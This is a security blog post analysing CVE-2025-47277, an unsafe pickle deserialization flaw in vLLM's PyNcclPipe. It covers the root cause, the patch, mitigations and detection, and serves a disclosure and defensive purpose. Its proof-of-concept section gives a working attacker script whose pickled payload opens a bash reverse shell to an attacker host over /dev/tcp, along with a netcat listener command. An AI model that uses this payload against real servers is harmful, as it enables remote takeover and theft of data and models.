RCE

CVE-2025-47277: Unpacking the Pickle - How a vLLM Vulnerability Could Let Attackers Remotely Call the Shots

Robert Morgan

Robert Morgan

— 10 min read

Hold onto your GPUs, folks! A critical vulnerability, CVE-2025-47277, has been identified in vLLM, the popular engine for fast LLM inference and serving. This isn't just a theoretical flaw; it's a Remote Code Execution (RCE) vulnerability that could allow attackers to take control of your vLLM servers if you're using a specific distributed setup. Let's dive into how this "pickle" of a problem came to be and what you can do about it.

TL;DR / Executive Summary

CVE ID: CVE-2025-47277
Vulnerability: Remote Code Execution (RCE) via unsafe deserialization in the PyNcclPipe communication service.
Affected Software: vLLM versions >=0.6.5 and <0.8.5.
Impacted Environments: Specifically, deployments using the PyNcclPipe KV cache transfer integration with the V0 engine for distributed inference.
Severity: Critical (potential for full server compromise).
Summary: The PyNcclPipe service in vLLM uses Python's pickle.loads to deserialize data received over the network for control messages. Compounding this, a default behavior in PyTorch's TCPStore (used by PyNcclPipe) caused the service to listen on all network interfaces (0.0.0.0) by default, even if a specific private IP was configured. Attackers on the network could send a maliciously crafted pickled object, leading to RCE.
Basic Mitigation: Upgrade vLLM to version 0.8.5 or later. Ensure strict network segmentation for your vLLM cluster communication ports.

Introduction: The Distributed AI Dream and a Serialized Nightmare

Large Language Models (LLMs) are computationally hungry beasts. To tame them, especially for high-throughput inference, we often turn to distributed systems. vLLM is a fantastic open-source library designed to make LLM inference faster and more efficient, and it supports distributed inference across multiple GPUs and nodes. One of its mechanisms for this, PyNcclPipe, facilitates the transfer of KV cache data – a crucial component for LLM performance – between these distributed nodes.

Now, imagine you've set up your shiny vLLM cluster, thinking your inter-node communication is neatly tucked away on a private network. You've even specified a private IP for the KV cache communication. All good, right? Well, CVE-2025-47277 reveals a scenario where this assumption could lead to a rude awakening. This vulnerability matters because it strikes at the heart of distributed AI infrastructure, potentially turning a powerful tool into an open door for attackers. If you're running vLLM in a distributed fashion, especially with versions prior to 0.8.5, this one's for you.

Technical Deep Dive: When pickle.loads() Meets an Overly Eager Listener

The vulnerability has two main ingredients that, when combined, create a recipe for RCE:

  1. Unsafe Deserialization with pickle:
    The PyNcclPipe component in vLLM is responsible for managing communication for KV cache transfers. For control messages (metadata about the tensors being transferred), it uses Python's pickle module. Specifically, the recv_obj method within the StatelessProcessGroup class (utilized by PyNcclPipe) calls pickle.loads() on data received from the network.

    Analogy Time! Think of pickle like a universal packaging and un-packaging tool for Python objects. You can "pickle" (serialize) almost any Python object into a byte stream, send it somewhere, and then "unpickle" (deserialize) it back into the original object. The danger? If you unpickle data from an untrusted source, that data can be crafted to not just recreate an object, but to execute arbitrary code during the unpickling process. It's like receiving a package that, when opened, doesn't just contain a gift but also assembles and launches a drone inside your house.

    The call stack leading to the vulnerable pickle.loads is:

    vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl
    -> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata
        -> vllm.distributed.utils.StatelessProcessGroup.recv_obj
            -> pickle.loads

  2. PyTorch TCPStore's "Friendly" Default:
    vLLM intended for the PyNcclPipe service to listen only on a private network interface, specified via the --kv-ip command-line parameter. However, the underlying PyTorch TCPStore (used to manage the network communication for this service) had a default behavior: it would bind to 0.0.0.0 (all available network interfaces) regardless of the IP address provided to it for client-side connection. The IP address was used by clients to connect to the store, but the store itself, when acting as the master, would listen far more broadly.

    This meant that even if you configured --kv-ip to 192.168.1.10, the service might still be listening on your public-facing IP address if the machine had one, making the pickle.loads vulnerability accessible from unexpected networks.

    Behind the Scenes: This behavior was reported to PyTorch, who determined it was intentional for TCPStore. This highlights a common challenge in software development: a component behaving "as designed" can still contribute to a vulnerability when integrated into a larger system with different security assumptions.

Root Cause Analysis:
The root cause is the combination of trusting and deserializing network-received data using pickle.loads() within PyNcclPipe, and the TCPStore's default behavior of listening on all interfaces, which inadvertently exposed this deserialization endpoint more widely than intended by vLLM's configuration.

Attack Vectors:
An attacker with network access to the port used by PyNcclPipe (defaulting to 18888 or as configured) on a vulnerable vLLM instance could send a specially crafted pickled Python object. Upon deserialization by pickle.loads, this object would execute arbitrary code with the privileges of the vLLM server process.

Business Impact:
The impact of successful exploitation is severe:

  • Full Server Compromise: Attackers gain RCE, effectively owning the server.
  • Data Breach: Access to sensitive data processed by or stored on the LLM server, including model weights, training data, or user inputs.
  • Model Theft: Exfiltration of proprietary LLM models.
  • Denial of Service (DoS): Disruption of critical AI services.
  • Lateral Movement: The compromised server could be used as a pivot point to attack other systems within the internal network.

Proof of Concept: Pickling Your Way to a Shell

Let's demonstrate this with a simplified example, similar to the one provided in the advisory.

1. Setting up the Vulnerable Server (Victim Machine):
Imagine this code is running on your vLLM server, configured to use PyNcclPipe.

# victim_server.py (Simplified for demonstration)
# This simulates the vulnerable part of vLLM
from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig
import torch # Required for TCPStore implicitly

print("Starting vulnerable PyNcclPipe service...")
# In a real vLLM setup, this would be part of a larger distributed system.
# We assume PyTorch's TCPStore will bind to 0.0.0.0 by default on port 18888.
config = KVTransferConfig(
    kv_ip="0.0.0.0", # Explicitly showing the problematic default binding
    kv_port=18888,
    kv_rank=0,
    kv_parallel_size=1, # Simplified for PoC
    kv_buffer_size=1024,
    kv_buffer_device="cpu"
)

# Initialize PyNcclPipe (this sets up the TCPStore listener)
# Note: For this PoC to run standalone without full vLLM,
# some underlying distributed setup might be needed or mocked.
# The key is that a service listening via TCPStore and using pickle.loads is active.
# For the sake of this blog, we'll focus on the attacker's payload
# and assume the server is listening and will call pickle.loads.

# The critical part happens when the server tries to receive an object:
# p = PyNcclPipe(config=config, local_rank=0)
# p.recv_obj() # This would eventually call pickle.loads()
print(f"Vulnerable service theoretically listening on 0.0.0.0:18888 and waiting for pickled objects...")
print("If an attacker sends a malicious pickle, RCE occurs here.")
# In a real scenario, the p.recv_tensor() or similar methods would trigger _recv_metadata -> recv_obj -> pickle.loads

(Note: Running the above server code directly might require a more complete vLLM environment. The PoC focuses on the attacker's actions and the nature of the payload.)

2. The Attacker's Payload (Attacker Machine):
The attacker crafts a Python object that, when unpickled, executes a command. The __reduce__ method is a common way to achieve this with pickle.

# attacker_client.py
from vllm.distributed.utils import StatelessProcessGroup
import os

# The IP of the attacker's machine where a listener is set up (e.g., netcat)
ATTACKER_IP = "10.0.0.X" # Replace with your actual attacker IP
ATTACKER_PORT = 9999     # Replace with your attacker listener port

# The IP of the vulnerable vLLM server
VICTIM_IP = "VICTIM_SERVER_IP" # Replace with the victim's IP
VICTIM_PORT = 18888          # The port PyNcclPipe is listening on

class EvilPicklePayload:
    def __reduce__(self):
        # Command to execute on the victim server
        # This example attempts to create a reverse shell
        cmd = f'/bin/bash -c "bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1"'
        return (os.system, (cmd,))

print(f"Crafting malicious pickle payload to connect back to {ATTACKER_IP}:{ATTACKER_PORT}")

# Set up a client to connect to the victim's PyNcclPipe service
# The rank and world_size need to be consistent with a potential distributed setup.
# For this PoC, we assume a simple 2-node setup where rank 0 is the victim server.
try:
    client = StatelessProcessGroup.create(
        host=VICTIM_IP,
        port=VICTIM_PORT,
        rank=1, # Attacker acts as another "node"
        world_size=2,
    )

    print(f"Sending malicious object to {VICTIM_IP}:{VICTIM_PORT}...")
    # The send_obj method will pickle the EvilPicklePayload object
    # and send it to the destination (dst=0, which is our victim server)
    client.send_obj(obj=EvilPicklePayload(), dst=0)
    print("Malicious object sent. Check your listener.")

except Exception as e:
    print(f"Error sending payload: {e}")
    print("Ensure the victim server is running and accessible, and PyTorch/vLLM libraries are available.")

To Execute the PoC:

  1. On the attacker's machine, start a netcat listener: nc -lvnp 9999
  2. Replace ATTACKER_IP and VICTIM_SERVER_IP in attacker_client.py.
  3. Run attacker_client.py.
  4. If successful, a reverse shell connection should appear on the attacker's netcat listener, originating from the victim server.

This PoC demonstrates how an attacker can gain a shell on the server by exploiting the unsafe deserialization. The image in the advisory shows this exact outcome.

Mitigation and Remediation: Patching the Pickle Jar

Fortunately, the vLLM team was quick to address this.

Immediate Fixes:

  1. Upgrade vLLM: The primary fix is to upgrade vLLM to version 0.8.5 or later. This version includes the patch (PR #15988) that addresses the issue.
    pip install --upgrade vllm
  2. Network Segmentation (Defense in Depth): Even with the patch, it's crucial to ensure that the port used for PyNcclPipe communication (e.g., 18888) is strictly firewalled. It should only be accessible from other trusted nodes within the vLLM cluster's private network. This was the original intention and serves as a vital secondary defense. If you can't patch immediately, this is your most critical action.

Patch Analysis (What Changed?):
The fix implemented in vLLM PR #15988 involves modifying how the TCPStore is initialized within vllm.distributed.utils.StatelessProcessGroup.
Previously, TCPStore was initialized like this:

# Old way (simplified)
store = TCPStore(
    host_name=host,
    port=port,
    world_size=world_size,
    is_master=(rank == 0),
    # ...
)

The patch introduces a workaround to force TCPStore to bind its listening socket to the specified private interface (host) rather than 0.0.0.0. It does this by:

  1. Manually creating a Python socket.socket object.
  2. Binding this socket to the desired host and port.
  3. Putting the socket into listening mode.
  4. Passing the file descriptor (listen_fd) of this pre-bound socket to the TCPStore constructor using the master_listen_fd parameter.
# New way (simplified from the patch)
# File: vllm/distributed/utils.py
if rank == 0: # If this process is the master
    listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listen_socket.bind((host, port)) # Bind to the SPECIFIC host IP
    listen_socket.listen()
    listen_fd = listen_socket.fileno()
else:
    listen_socket = None
    listen_fd = None

store = TCPStore(
    host_name=host,
    port=port,
    world_size=world_size,
    is_master=(rank == 0),
    master_listen_fd=listen_fd, # Key change!
    use_libuv=False, # Also relevant for this custom socket handling
    # ...
)
# The 'listen_socket' object is also stored in the StatelessProcessGroup
# to keep the file descriptor alive.

This clever workaround ensures that TCPStore uses the already restricted socket, effectively overriding its default behavior of binding to all interfaces when is_master=True.

Long-Term Solutions:

  • Avoid pickle for untrusted data: Whenever possible, use safer serialization formats like JSON, Protobuf, or XML for data received from external or less trusted sources. If pickle must be used, ensure the communication channel is robustly secured and authenticated.
  • Principle of Least Privilege for Network Services: Services should only listen on interfaces and ports absolutely necessary for their function.
  • Regular Security Audits: Especially for complex systems integrating multiple libraries, regular code and infrastructure audits can uncover such issues.

Verification Steps:

  1. Confirm your vLLM version: pip show vllm
  2. After patching or implementing firewall rules, use tools like nmap or netstat from an external perspective to verify that the PyNcclPipe port is not accessible from unintended networks.
    # From a machine outside your private cluster network
nmap -p 18888 <your-vllm-server-public-ip>
# Expected: Port should be closed/filtered

Timeline of Events

  • Discovery: The issue was reported independently by three different parties:
    • @kikayli (Zhuque Lab, Tencent)
    • @omjeki
    • Russell Bryant (@russellb)
  • Vendor Notification: Reported privately to the vLLM project and PyTorch.
  • Patch Development: The vLLM team developed a fix.
  • Patch Availability: The fix was merged into vLLM via Pull Request #15988 and included in vLLM version 0.8.5. The commit hash for the fix is 0d6e187e88874c39cda7409cf673f9e6546893e7.
  • Public Disclosure (CVE & Advisory): May 20, 2025 (as per the placeholder CVE ID date). The GitHub advisory GHSA-hjq4-87xh-g4fv was published.

Lessons Learned: More Than Just a Bad Pickle

This CVE offers several valuable takeaways for developers and security professionals:

  1. The Perils of Deserialization: Unsafe deserialization remains a persistent and dangerous vulnerability class (OWASP A08:2021 - Software and Data Integrity Failures). pickle in Python is notoriously powerful and, therefore, notoriously risky with untrusted inputs. Key Takeaway #1: Treat any data that crosses a trust boundary (like a network socket) as untrusted, especially when feeding it into powerful functions like pickle.loads().
  2. Default Configurations Can Bite: The default behavior of PyTorch's TCPStore to listen on 0.0.0.0 was a significant contributing factor. While perhaps convenient for some development scenarios, it violated the principle of least exposure in this production context. Always scrutinize and understand the defaults of the libraries and tools you use.
  3. Defense in Depth is Crucial: Even if the application code had been perfect, relying solely on application-level IP binding without network-level controls (firewalls) is risky. Proper network segmentation could have limited the exposure of this vulnerability.
  4. Importance of Coordinated Disclosure: The independent discovery by multiple researchers highlights the value of the security research community.

Detection Techniques:

  • Network Monitoring: Monitor traffic to the ports used by vLLM's distributed communication services. Unexpected connections from outside the trusted cluster network are a red flag.
  • Endpoint Detection and Response (EDR): Look for suspicious process execution chains originating from the vLLM service process, especially shell commands or network connections to unusual IPs.
  • Log Analysis: While pickle itself might not log extensively by default, application logs around the PyNcclPipe service might show errors or unusual activity if exploitation is attempted.

One Key Takeaway: Trust, But Verify Your Bindings

If there's one thing to etch into your mind from CVE-2025-47277, it's this: When dealing with network services, explicitly define and verify what interfaces they are listening on. Don't assume a configuration parameter for a client IP also restricts the server's listening interface unless the documentation explicitly states so and you've tested it.

This vulnerability serves as a potent reminder that even in the cutting-edge world of AI and LLMs, foundational security principles like secure coding, input validation, and careful network configuration are paramount. Stay vigilant, keep your systems patched, and maybe think twice before unpickling that mysterious package from the internet.

What are your thoughts? Has this CVE made you reconsider how you configure distributed services?

References and Further Reading

Stay safe out there!

Read more